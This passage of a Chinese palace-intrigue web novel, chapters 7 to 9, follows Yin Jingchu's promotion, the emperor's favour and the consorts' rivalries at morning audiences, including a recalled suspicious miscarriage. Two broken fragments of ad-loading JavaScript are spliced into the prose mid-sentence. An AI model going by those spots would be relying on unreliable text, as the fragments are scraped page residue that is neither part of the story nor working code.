江顺心头一凛,又接着道:“姜才人要动手打人,被殷宝林推倒在地。小栓子听见姜才人说殷宝林不过正六品位份,身份不如自己之类的话。” 这话一出,室内一片沉寂。 半晌,萧煜嘴角勾了一丝若有似无的笑,亏他还以为殷璟初吃了亏。不过,她在自己跟前娇娇软软的,却不代表是个吃亏的性子,这样很好,在宫里动手打人是要给些教训。 至于姜才人说的那些话—— 萧煜抬眸,淡淡道:“你去皇后宫里传朕的旨意,宝林殷氏,贞静持躬,甚得朕意,着晋为从五品美人。” 7. 第七章 “恭喜殷美人,贺喜殷美人。” 江顺眉眼弯弯,语气颇为恭谨。 他是陛下跟前的红人,后宫嫔妃们巴结讨好的对象,能瞧见他这么恭谨有礼,那必是不简单的人物。 松融等人当时在内务府当差,也曾远远瞧过跟随在陛下身边的江顺。能做到他这个位置,该是所有内侍梦寐以求的,毕竟那方面已然不作他想,一颗心便都系在了前程上。 殷璟初人还有些惊诧,宫里并没有新晋宫嫔侍寝后会晋位的规矩,先头容更衣就没有,如今陛下晋了她的位,着实令人有些措手不及。 不过,她心性素来沉稳,终究是见过大场面的人。 她恭恭敬敬地行礼谢恩,后瞧着江顺身后鱼贯而入的宫人们,手上捧满了赏赐的礼物。其中不仅有昨日她侍寝陛下赏赐的东西,更多的是晋位的贺礼。 莹妆和兰时嘴角笑意都藏不住,桃红和萼绿有条不紊地指挥着宫人将东西摆放在正厅里,豆蔻和香薷也笑吟吟地瞧着,一边的松融也领着人帮衬着宫人们,一派其乐融融的场景,倒像是过年了一般。 殷璟初笑的温柔沉静,她和声道:“还请大监替我谢过陛下。” 江顺眸光一闪,别有深意道:“这谢字还是留给小主亲自对陛下说。” 殷璟初笑了笑,将这话记在了心里。 送走了江顺,惠和殿上下一片松快,莹妆笑着欠了欠身道:“既然这样,奴婢可就斗胆替大家伙向小主再讨一道赏赐,这样陛下赏赐过一回,小主再赏赐一回岂不是喜上加喜,好事成双。” 殷璟初晲了她一眼,嗔道:“偏你机灵,想这些吉祥话讨人欢喜,既然这样,那便人人赏赐一个月的月例银子,也算是应景。” 众人闻言笑意愈深,纷纷向她行礼谢恩。 御前的人来过后,内务府那边也很快就有了动静。 从五品美人和正六品宝林虽只隔了一个品阶,但身边伺候的人数不同。内务府又挑了两个手脚勤快的内侍送了来。 惠和殿的内侍皆以松融为首,至于宫女这边则以莹妆领头,况且殷璟初这两日隐隐瞧着桃红和萼绿之间的关系隐隐缓和,虽然二人一起时不免冷着脸,但做事却有默契极了,效率也快的很。 殷璟初坐在软榻上,瞧着堆积如小山高的贺礼,她端起茶盏啜了口茶水,一边兰时喜滋滋道:“奴婢瞧陛下是对小主颇为上心的,就让姜才人嫉妒死可好,谁让她那般可恶。” 她听莹妆说起方才坤宁宫门前的事情,气不打一处来,心里早已经骂了姜才人千八百遍了,又仔仔细细检查了殷璟初手上可有受伤,这才放下心去。 殷璟初瞥了她一眼,兰时是直性子,外向爽朗,喜欢便是喜欢,不喜欢便是不喜欢,喜怒皆言于表面。 这样的性子讨人欢喜,也容易吃亏。 不过殷璟初喜欢她这样有什么说什么,在这宫里往后人人都会对她假意奉承,能说真话的人太少,也太难得。 自然,兰时是个机灵的丫头,知道什么地方说什么话。 殷璟初笑了笑,不甚在意,“她现在未必好过,咱们只管瞧着就是。” 她了解姜含贞的性子,只需要几句话便能扰乱她的心神,使得她想入非非。 殷璟初晋位的消息传遍了后宫,几家欢喜几家愁。 若说昨日的容更衣是张扬狂妄半只脚入了冷宫,那么这位新封的殷美人便很不一般了。端看宫里从来就没有新人承宠晋位的例子,她轻而易举就打破了这说明什么?说明陛下心里记住这个人了。 翠微宫东配殿闹腾了好一阵才静下来,素客立在正殿门口良久才掀帘进去,瞧见祝贵嫔坐在软榻上闭目养神,神情慵懒。 素客皱了皱眉头不满道:“姜才人也忒沉不住气了些,这才承宠了两位新人,凭着她的出身陛下怎么也不会冷落她,这会儿就在屋里打打砸砸的,往后又有多少东西可以打砸?” 祝贵嫔睁开眼睛,漫不经心道:“随她去吧,坏的是自个儿的名声。” 她是翠微宫的主位,按理来说管束一宫嫔妃是分内事,但姜才人头一日来给她请安时便是一副不甚恭敬的模样。 她当日就看出姜氏是个蠢的。 若换一个机灵些的新人,自然也该知道宫里主位到底有些资历在,就算不亲近,面子上的功夫也要装装。 偏偏人家自恃出身不凡,压根儿不将恩宠平平的祝贵嫔放在眼里,祝贵嫔自然也没那个提点她的心思了。 就这么相安无事的过下去吧。 素客却不喜欢姜才人的性子,即使出身不凡也没必要眼睛长在头顶不将别人放在眼里吧,要知道,这宫里出身固然重要,但恩宠也重要。 还没承宠呢就这样大的脾气,素客撇了撇嘴,往后承了宠怕是要翻天。 素客又提起茶壶添了些茶汤,而后不知想起什么,她眸光一闪道:“对了,方才取膳回来的宫人跟奴婢说瞧见岑容华抱着二公主与容更衣在御花园的假山后说话,二人瞧着颇为亲近的模样。” 祝贵嫔闻言不知心里想到了什么,她喃喃念了声:“岑容华。” 隐隐觉得不是什么好事,她顿了顿,语气清冷道:“这件事告诉她不许出去说,若有违本宫的命令,本宫绝对不会姑息。” 素客很少见祝贵嫔这么疾声厉色的模样,心里慢慢意识到了重要性,她点了点头忙不迭道:“奴婢晓得,一早就告诉她要烂在肚子里了。” 祝贵嫔神情这才缓和些,但眼神中那抹狐疑之色久久不曾散去。 今天是新妃入宫的第三日,十四位新人只承宠了两位,因此今晚还有许多人在翘首以盼御前的消息。 但她们不知道,陛下早就定了心意。 惠和殿,殷璟初早早沐浴过,她换上了水绿色的锦裙,愈发衬得美人盛颜仙姿,恍若空灵的仙子一般。 陛下不喜欢香料,殷璟初也没抹什么,只是衣裙是用鲜花薰过的,自然带着一股淡淡的甜香,不会让人觉得甜腻,一切正好。 御膳房那边的膳食早早就送来了,一如既往的丰盛,入宫这三日,御膳房不曾慢待惠和殿。 尤其今日殷璟初晋位后,午膳真算得上丰盛精致。最要紧的是惠和殿还未派人去提膳,御膳房便派了人送来。 要知道,这样的待遇可不是一般人能有的。至少,这批入内的新妃中还无人有这样的待遇。 殷璟初估摸着陛下的性子喜欢神出鬼没,想着昨夜丢人至极的事情,为了避免今夜再出现这样的情况,殿内只留了莹妆和兰时二人伺候,其余的人都打发出去了。 萧煜处理完政务时辰便不早了,他捏了捏额心,面上透着几分淡淡的疏离之色,江顺这时候方才进殿提醒道:“陛下,该摆驾长秋宫了。” 萧煜自然记得,他正要起身忽听见一阵脚步声,小栓子顶着满脸的为难进来,他瞅了眼江顺,一副欲言又止的模样。 萧煜微微蹙眉道:“出什么事了?” 小栓子硬着头皮道:“陛下,翠微宫姜才人身边的玲珑过来请您过去一趟,说是姜才人身子不适,请陛下去瞧瞧。” 话落,江顺剐了眼小栓子,眼神中透着浓浓的责备。 作死,小栓子是他的徒弟,也是预备接他的班,因此一直跟在他身边学习着。可惜,这小子太年轻了些,又是个老好人性子,明知道陛下要去长秋宫,还替姜才人那边传话做什么? 姜才人就算出身再尊贵,可终究没有承宠,如何能比得过殷美人。何况,江顺本就琢磨着陛下今日突然给殷美人晋位就是因为姜才人的挑衅,她一番推波助澜,给旁人做了嫁衣,可见是个不聪明的。 萧煜眼底慢慢变的寡淡,语气蕴含几分冷然,“身子不舒服就去请太医,朕不是太医,没有治病救人的本事。” 而后,他视线落在江顺身上,没好气道:“你素日的机灵劲一半分给你这徒弟便成了。” 话落,萧煜径直往外走去,江顺忙不迭转身跟上,他狠狠地瞪了小栓子一眼,面上闪过几分苦涩。 玲珑一直在殿外,瞧见陛下从里头出来,她心里一喜以为陛下要去看望小主了,忙就跪下候着陛下摆驾翠微宫,可一直等啊等,陛下坐上了步撵却迟迟没有大监摆驾的声音传来。 她终于忍耐不住抬起头来,小栓子苦着一张脸,方才被江顺训了一顿,收起了往日老好人的模样,端着架子冷着声气道:“玲珑姑娘请回吧,陛下说姜才人身上有碍就去寻御医,自个儿没有治病救人的好本事。还有,玲珑姑娘往后若是为着这样一点小事莫要来御前走动,陛下不喜。” 话音落下,玲珑惨白着一张脸,她呐呐地想要解释,但小栓子根本不听,忙就打发人请她离开了。 姜才人托称病了派宫女到御前来请陛下的消息不胫而走,不多时后宫都得了消息,一时之间尽是嗤笑声。要说这种招数,从前的徐贵妃就喜欢耍,后来一而再再而三陛下便不喜欢耍这种上不得台面的手段,宫里许多人都知道。 偏偏姜才人还自以为使一些小手段就能骗得陛下过去,真是痴人说梦。尤其是同批新人,早在殿选时都瞧过她的脸色,听了这消息更觉得好笑。 殷璟初捧着书卷坐在软榻上,烛光柔和,灯下瞧美人别有一番不同的韵味。 萧煜进来时瞧见的便是殷璟初温柔恬静的侧颜,瞧过她楚楚可怜的模样,说起话来头头是道的模样,唯独没有见过她这么正经安安静静看书的样子,端坐在榻上,这份气质便是许多人都难以比拟的。 若没有自小受过的熏陶,那是养不成的。 萧煜照样没有让人通传,莹妆和兰时都抬头瞧见了陛下,二人都愣了愣正要行礼,哪知道陛下做了个噤声的手势,她们便都知情识趣地下去了。 殷璟初觉得口干,语气中透着几分懒怠道:“这个时辰陛下怎么还没来啊,我都觉得口干舌燥,困意来袭了。” 话音落下却没人接话,殷璟初觉得奇怪,抬起头便见着陛下坐在她身侧,似笑非笑地望着她。 她人微微发颤,不自觉的咽了咽口水,语气有些结巴道:“陛下,陛下怎么老喜欢悄无声息进来?您可知道人吓人是能将人吓死的,得亏嫔妾命大心态好,才能一回又一回这么坦然淡定。” 萧煜听她这话,嘴角不自觉勾出一抹笑意。 多少嫔妃在他跟前都是大气儿不敢喘,字字句句都要斟酌的,畏畏缩缩体现的淋漓尽致。偏偏她不一样,从昨日他碰见她第一面就不一样,她明明不卑不亢,丝毫不畏惧姜才人,可偏偏留意到他的出现后又摆出一副楚楚可怜,温柔小意的模样。 说实话,若是放在以往,萧煜未必喜欢这样耍心思的手段。 可偏偏放在她身上,他便是有想要纵容的意思。她很聪明,也很会审时度势,任何事情都是点到就好,不过分要求,他不吝啬为她做主。 “怎么什么话都能往你自己脸上添光?” 萧煜嗤了嗤。 殷璟初努了努嘴,她端起一边茶盏啜了口,干涩的嗓子眼才得以缓和。 殷璟初面上复又盛满笑意,煞是认真道:“嫔妾为了等陛下,可从天亮等到天黑,终于是盼星星盼月亮似的盼到了陛下来。御膳房那边刚重送了膳食来,陛下可要用一些?” 萧煜久久不来,菜送回去热了几道,御膳房觉得实在不成样子,生怕陛下不喜,便又送了新的来。 殷璟初虽然晚膳一贯用的不多,但总要垫巴几口的,因此肚子还是有些空空的,想起珍馐美食,她勾了勾嘴角。 谁能不喜欢美食呢? 这几分激动落在萧煜眼里便是傻的可爱了。 他微微挑了挑眉,伴着殷璟初一同用晚膳。 这还是他们头一回一起用,殷璟初吃相甚好,终究是出身名门望族,这种从小培养的童子功与那种速成的天壤之别,一举一动优雅都蕴含其中,但你又不会觉得她在装模作样,故意显摆。 只用了几口,她便拿起一边的帕子擦拭嘴角,静静地候着陛下用完。 “不多吃些么?” 殷璟初摇了摇头,说起这个还有些羞赧,她缓声道:“嫔妾正餐一向用的不多,偏爱些零嘴。在家时因着这个也被训斥过,不过入了宫就好多了,嫔妾也能管住自己的嘴了。” 萧煜愈发觉得好笑,“为何入了宫便能管住了?” “嫔妾究竟还是要些脸面的,总不能让旁人觉得殷美人喜欢吃小孩子吃的零嘴吧。”殷璟初面上泛起潮红来,磕磕巴巴道。 这样的话,萧煜很少从嫔妃嘴里听到。出身名门的嫔妃处处端着身份,唯恐失了大家闺秀的颜面。那些从前一直跟着他的嫔妃呢?便又有些小家子气,到了关键场合总撑不起来。 却很少有人像殷璟初这般,她既有名门贵女的端庄温婉,也有寻常女儿家的娇憨可爱,在她这里,萧煜感受到了一丝不一样的却格外温馨放松的氛围。 殷璟初以为陛下在心底讽笑自己,她心里咯噔一下,莫非尺度没有拿捏好么? 罢了罢了,看来娇憨美人这条路行不通。 往后还是走温柔娴静风吧,没准儿能像贤妃娘娘和祝贵嫔那样。 她打定好主意,嘴角流露出恰到好处的笑意来,萧煜却一把将她扯到怀里,两两相望,殷璟初耳根子让不免染上绯红,不敢瞧着陛下的眼睛。 至少温热的吻落在唇上,她怔了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一下才闭着眼投入进去。 帘子被放下,掩去了帐中春意。 陛下昨日还是翻了殷美人的绿头牌,姜才人当晚得知消息气的半死,原本是装病的,这下可好是真病了。 一早便派人到坤宁宫告了假,蕊珠让人送走了玲珑,转头回去瞧见皇后气定神闲地哄着皇长子玩,一边两个乳母都小心翼翼地瞧着,其实皇长子走路已经比较稳当了,但是乳母还是怕出什么岔子,万事离不开眼。 皇后瞥了眼蕊珠欲言又止的模样,挥手让乳母带皇长子下去。 蕊珠见皇长子被抱走了,她才开口道:“昨夜姜才人身边的玲珑就到紫宸殿去请陛下了,陛下没去。今早又来告假了,依娘娘您瞧当真是病了么?” 皇后觑她,语气淡淡道:“她说是病了就是病了。只是可惜,这次新人里本宫以为她能跟殷氏平分春色的,可她不如殷氏聪明,将来走不远。” “娘娘何以见得?” 蕊珠不解。 皇后笑了笑道:“你要知道会咬人的狗不叫,那些一贯温温柔柔,不声不响的才是憋着招。反而那种脾气流于表面的,才是真正的心思浅显,一下子就能给人猜着,这种人反倒没有那么重的心机城府。” 譬如姜才人,譬如徐贵妃。 蕊珠明白皇后话里的意思,那么若是这般说来,她顿了顿抬眸道:“那您说,殷美人会不会是下一个贤妃娘娘?” 皇后却是笑了笑,“这就要看她是怎么想的了。不过,你也别小看贤妃,殷美人再得宠却有一个致命的弊病。” 出身。 她既是仰仗自己的出身,陈郡殷氏之女,出身世家门阀,同时也为出身所牵绊。 她母亲的身份注定牵连到她,况且就算陛下能够不介意,还有太后娘娘呢。 但如今想这些还为时尚早,她不过是个小小美人罢了。 蕊珠点了点头,又笑着颇为隐秘道:“不过这人啊也是经不住念叨的。娘娘不是免了贤妃这半个月的晨昏定省么?您说她今日会不会来。” “这说起来,贤妃还不曾见过殷氏。”皇后抚了抚碧绿的耳坠,缓声道,“又有好戏瞧了。” 殷璟初如昨日一般到坤宁宫,不过今天到的时候,她能明显察觉到投来的目光不善。 是了,若说昨日她承宠,众人都会想着是新人,何况也是这批新人里拔尖的,总要轮到的。但是一连两日外加晋位,陛下放着十二位新人还未宠幸又重复翻了她的牌子,莫说新人,便是那些有资历的嫔妃看她的目光也透着嫉妒与羡慕交织。 她早料到会有这一遭,因此还算的上镇静。 徐贵妃和玫妃还未来,倒是岑容华她一贯喜欢谈笑风生,在宫里也有些人缘,此刻她的视线不偏不倚落在殷璟初身上,话里别有深意—— “我昨日还在猜陛下又会去哪一位妹妹宫里,猜了一圈又落回了原点,殷妹妹好福气。不过也该恭喜你的,新晋位了美人,这是新人里头一份的殊荣,连姐姐我瞧着也觉得眼热羡慕的紧呢。” 她倒真有些眼热。 陛下对于位分虽不说吝啬,但也绝对算不上大方。 如今宫里的主位堪堪七位,连岑容华这样从四品位分在宫里都算中高层了。 殷璟初还年轻,这才入宫多久就是从五品美人,往后还有好前程在等着她。 想到这里,岑容华倒真觉得有些酸,自然说出口的话就没那么温和了。 殷璟初抿了抿嘴,装的一副赧然的模样道:“岑姐姐这话岂不是折煞妹妹?独一份的福气原是担当不起,不过是承蒙陛下怜惜瞧得起罢了。这一批入宫的姐妹们都是新人之姿,待陛下瞧见了恐怕早就要将我抛之脑后了。” 她这话说的很委婉,也够谦虚,方才还有些不甘的新妃们这时候脸色都缓和了许多,没方才那般吓人了。 岑容华碰了个软钉子也不觉得生气,到底是有几分本事的,否则怎么能哄的陛下给她晋位呢? 无人注意,坐在角落里的人正直勾勾地望着殷璟初,半垂下的眼眸中蕴含着嫉恨与不甘。或许,今日享受这一切殊荣的本该是她,可凭什么,凭什么? 殷璟初正要坐下,但坤宁宫的宫人将她的位置换到了前面,因此正是与姜才人对着。 若是她今日来了看到这样一番境况必然又要火冒三丈吧,殷璟初忽然觉得有些失落。 徐贵妃、玫妃纷纷到来,自然头一个注意力就落在了殷璟初身上,酸言酸语了两句一直到皇后娘娘过来,方才都安安静静地给娘娘请安。 皇后始终雍容沉静,她笑吟吟道:“今日难得这样安静。不过也是,日子愈发热了,再过一阵子就要从冰窖起冰用了。” 说起这个,也是几家欢喜几家愁。 天气炎热总归是不好的,一想起逼人的暑热,出来便似是火烧一般受罪,到那时候连晨昏定省都是麻烦事。 徐贵妃素来不耐热,她勾了勾嘴角慢悠悠道:“热不热的也不打紧,总归冰和饮子是够用的,到时候宫里放置冰鉴,想吃什么都镇一镇便是了。” 也只有她能说出这话,虽是习以为常的,可落到那些不得宠位分又不高的嫔妃眼里便是艳羡嫉妒了。 所以说得宠,位分高的人就是有优待的,衣食住行都是高规格。可换成位分低,不受宠的嫔妃,夏天和冬天都是难熬的。 玫妃听着这话心里吃味,她酸不溜秋道:“听听,也就贵妃娘娘这样阔气。是了,这内务府样样紧着您,却不知道旁人的苦楚。” 徐贵妃瞥了她一眼,冷不丁道:“你在这儿说这些有的没的作甚?内务府还能短了你的不成。” 玫妃冷笑了声,又端起茶盏慢悠悠喝起来。 她们俩打嘴仗是每日都有的,众人都有些见怪不怪了。 皇后扫了眼众人,最后视线落在殷璟初身上,端庄持重,清新可人,难怪陛下喜欢。 她嘴角似笑非笑,有这样出挑的新人在,她就要看看将来能走多远了,可莫要辜负她的期望。 “贤妃娘娘到。” 外头一阵低沉的声音传来,众人都有些惊讶,还是徐贵妃脸色变了变,透着几分狐疑,“皇后娘娘不是免了贤妃请安么?怎么人还是来了。” 说起来,这还是殷璟初头一回见到贤妃。 这个活在旁人嘴里的女人,出身世家门阀,颇得陛下看重,说是难得的端庄才女。如今又一朝有孕,殷璟初还以为会有很长一段时日见不到人。 没成想,今日就见上了。 一位湖蓝色锦缎宫装的女子莲步入内,她气质高雅绝尘,嘴角含着浅淡的笑意,声音温柔沁水道:“臣妾给皇后娘娘请安。” 8. 第八章 殷璟初抬眸瞧过去,视线不经意间与她对上。 贤妃生得很美,气质温婉娴静,她嘴角含着柔和体贴的笑意,举手投足间亦是从容优雅。 她笑着微微致意,这才侧身坐下。 徐贵妃的眼神有意无意落在她的小腹上,贤妃身材纤细,不曾显怀,但徐贵妃明显能感觉到自己鼻头发酸,艳羡与嫉妒交织,一时忙急急扭过头去。 殷璟初微微一笑,能感觉到殿内气氛有些凝滞。 皇后在上悠悠品着茶盏,见无人说话,便笑着望向贤妃道:“陛下体贴你,本宫免了你半个月晨昏定省原是让你好好歇息,皇嗣要紧,怎么今日又出来了呢?” 皇后的语气中透着浓浓的关切,但仔细一听却不是那般意思。 贤妃抿了抿嘴,笑吟吟道:“陛下和皇后娘娘体恤臣妾,但臣妾不能恃宠而骄。眼下身子并无大碍,自然要给皇后娘娘请安,皇后娘娘可不要嫌了臣妾才是。” 二人这番对话看似寻常,但仔细想想皇后话里的“皇嗣要紧”很是耐人寻味,意指贤妃不安心在宫里养胎反而往外跑,不将皇嗣当一回事,皇后这是扣了一顶不大不小的帽子在贤妃头上啊。 贤妃不是个傻子,当即敏锐地感觉到了。她将抛过来的球又踢了回去,话里字字句句都是对皇后的敬重,无论心里是不是这样想,但面子功夫做的足够,令皇后无可指摘。 殷璟初心下微叹,愈发印证贤妃绝不是传闻中的温柔无争。 徐贵妃听了这话,心里再也忍不住,她坐直身子别扭道:“贤妃妹妹藏的可真好,三个月的身孕不声不响的。陛下眼见十分重视,听说前两日流水一般的补品入章台宫,连太后娘娘那边都喜不自胜。” 徐贵妃是个直性子,有什么说什么。皇后虽然瞧不惯她往日酸言酸语,张扬拿乔,但今日这番话皇后难得没说什么,反而是看戏一般的表情扫了眼她,而后垂眸品起茶来。 玫妃喜欢与徐贵妃别苗头,但子嗣一事上她和徐贵妃一样艰难。想起贤妃也是几年不曾有孕,怎么说怀上就怀上了呢?她朝贤妃望去。 贤妃早料到今日这番场面,她微微一笑,不疾不徐道:“贵妃姐姐真是高看妹妹了,哪里是什么藏着掖着呢?妹妹也是后知后觉,前两日起身不舒服请了太医来这才知道,当即就派人禀报了陛下和皇后娘娘。我也是喜的不知该怎么办,陛下和太后娘娘都这样看重倒让我不胜惶恐,唯恐辜负了陛下和娘娘。” 话落,她面上闪过几分忧心。 到底是初次怀孕,有这样的担心在所难免。 若放在往日,徐贵妃定然不放在心上,但今日贤妃这番话在她看来却像是惺惺作态,故意炫耀一般。 其实二人往日没什么龃龉,一贯太太平平相处。在东宫时,二人同为良娣,但徐贵妃是陛下的第一个女人素来得脸,贤妃背后有家族,也算势均力敌,贤妃性子温柔和善与世无争,她也一直不曾将人放在眼里。 如今可好,若真是面上说的与世无争,别无所求,徐贵妃死也不信。 岑容华嘴角含笑,语气亲昵道:“陛下和太后娘娘都这样看重贤妃娘娘,有陛下的龙气和太后娘娘的祥瑞之气庇护,贤妃娘娘定能平平安安诞下小皇子来。” 皇后听到这话,她握着茶盏的手顿了顿,眼神中的笑意淡了几分。 殷璟初垂眸,岑容华想要讨好贤妃没错,可要紧的是那句“小皇子”,若是说平平安安诞下皇嗣,这话自然不要紧。 可偏偏她着重强调那句小皇子。 徐贵妃骤然抬眸,她盯着岑容华,似笑非笑地勾了勾嘴角道:“本宫竟然不知岑容华会看怀相,这太医院的太医都不及你慧眼。本宫瞧你恩宠平平,做嫔妃没什么前途,倒不如去做太医帮人看怀相好。” 这话着实有些尖锐刻薄,岑容华怔了怔,面上一阵红一阵白,她急声想要辩驳,但才抬起头便像是受到了什么示意一般,不甘地咬着嘴唇低下头去。 殷璟初忽觉有趣,顺着岑容华的视线望过去。 是面色沉静的管贵嫔。 她忽然有些明白为何陛下要让管贵嫔做二公主的养母了。 宫里主位以上嫔妃不多,但也不算少。管贵嫔的资历未必比岑容华深,但陛下宁愿让没有子嗣的管贵嫔做一宫主位,担着教导二公主的名义,也不愿意让岑容华做主位。 从今日的这一切看来,岑容华算不得聪明,甚至有些拧不清。 正所谓枪打出头鸟,这话不假。 人人都知道,徐贵妃是艳羡贤妃有孕,旁人都不曾开口搭腔,偏岑容华哪壶不开提哪壶,这才被徐贵妃发难。 贤妃嘴角的笑意也淡了几分,她手轻轻搭在小腹上,望着徐贵妃淡淡道:“天渐热,贵妃姐姐难免心烦气躁,不过也要保重身子才是。正巧妹妹宫里有前儿陛下赏赐的荔枝蜜,妹妹如今有孕是用不上了,不如转送给姐姐凝神静气,还望姐姐笑纳。” 贤妃的反击中透着无言的挑衅与炫耀,她太明白贵妃的脾气了。 倘若贵妃沉不住气,殷璟初勾了勾嘴角便是达到贤妃的目的了吧。不管如何,贤妃懂得如何去恶心贵妃。 果然,徐贵妃面上怒意加深,她紧紧地攥着帕子正要发作,褚良媛却摇了摇头,徐贵妃深吸一口气道:“你自己留着便是,本宫尚且不稀罕。” 贤妃也不气也不恼,神情依旧平静安然。 皇后出声打断了她们—— “你如今有孕,是不能用荔枝蜜了,自己当心些就是了。好了,本宫乏了,你们都回去吧。” 出乎徐贵妃的意料之外,她忿忿地瞪了眼贤妃,不甘不愿地起身欠了欠。 众人按着位分高低,正五品以上的嫔妃坐仪仗离开。 殷璟初目送主位离开后,她才与兰时步行回宫,哪料行经御花园时,前头一位紫衣锦缎宫装的女子正捏着一柄花瓣形团扇,面上含着淡淡的笑意。 见着殷璟初来,她微微颔首,神情怡然自得。 殷璟初欠了欠身,眉眼弯弯道:“嫔妾给修容娘娘请安。” 眼前的女子正是大公主的生母,位列九嫔的骆修容。这几日请安,旁的主位嫔妃如何针锋相对,斗嘴饶舌,她都是稳如泰山般坐着,仿佛只是看戏的人一样置身事外。 这样的气性,非常人能比。 骆修容也不摆架子,她摇了摇团扇笑吟吟问道:“殷美人这是要回宫?” “是。”殷璟初笑容恬淡,又想起方才骆修容的视线落在不远处的月季上,她语带歉疚,“恐是嫔妾扰了娘娘赏花的雅兴。” 骆修容闻言却 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 摇了摇头,忙不迭笑道:“你这是说笑了,哪儿有什么扰不扰的。本宫瞧这月季开的好,一时看个新鲜罢了。” 殷璟初也顺着她的视线瞧过去,花团锦簇,开的如霞般绚烂炙热。 又见骆修容喃喃念了声,轻叹道:“旁人多爱牡丹芍药,本宫却最是喜爱这月季。只可惜,皇后娘娘喜爱牡丹,贵妃娘娘喜爱芍药,这御花园满园都是牡丹芍药争奇斗艳,月季虽开的锦簇,却不多。” 殷璟初听出她的话里有话,花亦是在影射人。 皇后与贵妃分庭抗礼,又有贤妃、玫妃等人在,骆修容在主位中算不得最出挑的那个人,论起恩宠来或许还不如会投机邀宠的岑容华。 但有一点,她作为大公主的生母,在皇嗣单薄的情况下,膝下有女尤为珍贵,这一点永远不会变。 殷璟初垂眸想了一会儿,复抬头轻笑,“只道花无十日红,此花无日不春风。?人人都道月季不如牡丹雍容,不如梅菊清雅,可嫔妾倒觉得能四季常在,经沐雨雪,不逐群芳才是难得。” 骆修容也是一时感慨,不料殷璟初说出这样一番话来令她颇为惊讶。 她才及笄的年纪竟有这般见解,骆修容一直以为殷美人也如岑容华、姜才人之流一般,她生得自然惊为天人,可兴许也是个讨巧卖乖之辈哄的陛下开怀,这才引得陛下破例给她晋位。 骆修容深吸一口气,笑意亲切了几分,“旁人都竞逐群芳,殷美人能这样想,难怪陛下待你青眼。咱们陛下虽然不是个吝啬的人,但宫里从来没有一入宫就晋位的例子。真要说起来,岑容华、何良媛等人都侍奉陛下多年,甚至何良媛昔年还曾……” 说到这里,骆修容顿了顿,似乎意识到自己失言,她扯了扯嘴角慌忙挪开视线。 殷璟初心中微微一顿,而后谨声道:“嫔妾才入宫不久,对宫中一切都不大了解。还望修容娘娘赐教。” 骆修容盯着她几秒,而后叹了口气道:“不远处有个凉亭,今日本宫也算与你投缘,说说也无妨。” 二人并肩朝凉亭走去,骆修容方才继续道:“原也不是什么秘闻。咱们宫里的嫔妃,大都是早年就伺候在陛下身边的姬妾,出身都不高。岑容华和何良媛是当初一起入世子府的,本宫还记得她们二人交情甚好,后来陛下做了太子,她们二人也是差不多时候有孕。若是何良媛的孩子平安诞下,也许就是皇长子了。” 话音落下,殷璟初眼神中闪过一抹惊讶,直觉告诉她,此事不简单。 骆修容自然瞧见了她眼里的惊讶,她面上浮现几分难言的苦涩:“她那会儿都有近六个月身孕了,时至今日本宫都忘不了那是个成型的男胎,就这般化成了一团血肉。” 那样的情景太过可怖,她亦是为人母者,最能将心比心。何良媛痛失腹中胎儿,哭的痛彻心扉,陛下当日亦是大怒,吩咐还是太子妃的皇后仔细彻查,最后查明是几个宫女清扫不慎,导致何良媛脚滑跌入湖里。 “何良媛自然不认这个理,向陛下撒泼哭喊多次,性子也有一阵变的阴沉暴躁,因此失了陛下的宠爱。好在那时岑容华陪在她身边开解,如今陛下登基顾念着她也曾孕育过皇嗣,便封了从四品良媛。” 骆修容说的一阵唏嘘,往事不堪回首。 殷璟初顿了顿,神情慢慢凝重。 9. 第九章 骆修容觑了眼她的神情,忙又缓和语气道:“今日之事不过是我一时想起来随口说说,殷美人莫要放在心上。殷美人如今得宠,将来有子嗣也是早晚的事。” “嫔妾如今不敢有这样的奢想,只盼着能平平安安便是了。” 骆修容微微叹了口气,寂寥道:“是啊,有时候平平安安便很好了。人有时候若是想要的太多,反而很难如意。” “今日本宫与你投缘,往后殷美人无事可以多来毓秀宫坐坐,本宫也正缺一位说话解闷的人。” 殷璟初面上笑意不变,她目送骆修容的仪仗离开后,莹妆转身见自家小主微微蹙眉,神情中闪过几分不自然。 莹妆顿了顿问道:“小主在想什么?” 殷璟初慢慢回过神来,明明是枝繁叶茂的时节,熏风拂拂,她却感受不到半分热意,反而背脊发凉。 宫里的水,远比她想象中深。 得宠便已经是身处众矢之的,何况是孕育子嗣。端看位高如贤妃,也要到胎将将坐稳才透出消息,想来便是因为何良媛的前车之鉴。 六个多月的身孕,成型的男胎,几个字在殷璟初脑海中久久挥之不去。按理来说,六个多月胎已经很稳了,还能因失足落水滑胎,最后查出来的缘故更像是粉饰太平,何良媛也得了个失子失宠的下场。 一箭双雕,果真是好手段。 莹妆见她不说话,愈发狐疑道:“奴婢不明白骆修容为何要与小主说这番话,咱们与她素无交情啊?” 殷璟初淡淡道:“骆修容膝下有大公主,又位列九嫔,唯一的短板是恩宠平平。今日之事明摆着她心存拉拢之意,示好罢了。” 毓秀宫与御花园方向相反,她可不认为骆修容有这样的雅兴,将大公主留宫里,特意在这里赏月季。 果真,后来的那句话示好之意便很明显了。 恩宠平平的主位拉拢新秀是常有之事,殷璟初在原地停了一会儿,扶着莹妆的手回了宫。 . 岑容华随管贵嫔一同回了宣德宫,二人一同进了正殿,岑容华便变了脸色,面上浮现几分恼意发泄道:“娘娘,贵妃今日实在欺人太甚,简直是将嫔妾的脸往地下踩。现如今新人都瞧着,背地里都不知怎样议论嫔妾。” 管贵嫔的视线落在乳母抱着的二公主身上,她面上噙着淡淡的笑意,语气却有些漫不经心,“要怪就怪你偏生巴结贤妃,贵妃心头火气正愁没地方撒,偏你直愣愣撞上去,正好成了她的出气筒。” 岑容华皱着一张脸,没好气道:“怪就怪贵妃自己肚子不争气,要说贤妃也是侍候陛下几年也没个好消息传来,怎么如今说有孕就有孕了,她也是好福气。” 说到这里,岑容华也有些嫉妒。 在有二公主以前,陛下待她不过尔尔。 如今看在公主面子上,她还算有些恩宠。可随着宫里孩子越来越多,她只怕将来陛下就不再对二公主关注了,这样她也会被抛之脑后。 她一时有些颓然。 其实心里早有些不如意,都是伺候陛下的嫔妃,她和骆修容都有女,骆修容能母凭女贵位列九嫔,她就只能做个容华,真是让人不舒坦。 